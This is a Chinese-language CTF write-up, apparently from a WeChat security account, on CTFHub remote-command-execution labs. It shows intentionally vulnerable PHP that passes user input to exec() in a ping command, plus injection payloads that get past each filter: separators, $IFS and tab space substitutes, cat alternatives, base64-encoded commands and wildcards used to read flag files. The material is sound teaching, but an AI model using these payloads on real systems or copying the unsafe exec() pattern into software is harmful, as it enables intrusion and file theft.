0x01 简介
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) { //ip不能为空
$cmd = "ping -c 4 {$_GET['ip']}"; //字符拼接
exec($cmd, $res); //exec执行命令
}
||
|
;
0a
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/cat/", $ip, $m)) { //这里对cat进行了过滤
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
cat
c'a't
tac
tail
less
more
xxd #16进制查看
od #8进制查看
strings
grep -ri "keyword" PATH
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/ /", $ip, $m)) { //对空格进行过滤
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
以下也是可以对空格进行替换的字符
09
<
IFS$1
{IFS}$9
{IFS}
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("///", $ip, $m)) { //对目录分隔符/过滤
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
1.分步进行
?ip=a;cd flag_is_here;cat flag_1924710865878.php
#通过因为;号的特性,后面接着的命令是一步步执行的,可以先cd到目录中,再cat文件
2.当前路径搜索
?ip=a;grep -ri "ctfhub" `pwd`
#可通过grep对当前路径对文件中关键字进行搜索内容
3.编码绕过
?ip=a;`echo "Y2F0IC92YXIvd3d3L2h0bWwvZmxhZ19pc19oZXJlL2ZsYWdfMTkyNDcxMDg2NTg3OC5waHA="|base64 -d`
#可利用base64编码来执行
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/(||&)/", $ip, $m)) { //过滤了与和或符号& |
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
这个题可绕过的思路有很多,可参考上面的方法
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/(||&|;| |/|cat|flag|ctfhub)/", $ip, $m)) { //过滤ctfhub, flag, cat, /, 空格, ;, &, |
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
可以结合上面的思路进行自由组合
?ip=a%0agrep$IFS-ri$IFS"ctf"$IFS`pwd`
?ip=a%0acd%09fl??_is_here%0atac%09$1f??g_10317375713281.php
命令执行绕过大全参考
https://zhuanlan.zhihu.com/p/672515980
原文始发于微信公众号(CatalyzeSec):从0学习CTF-从ctfhub来了解RCE
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论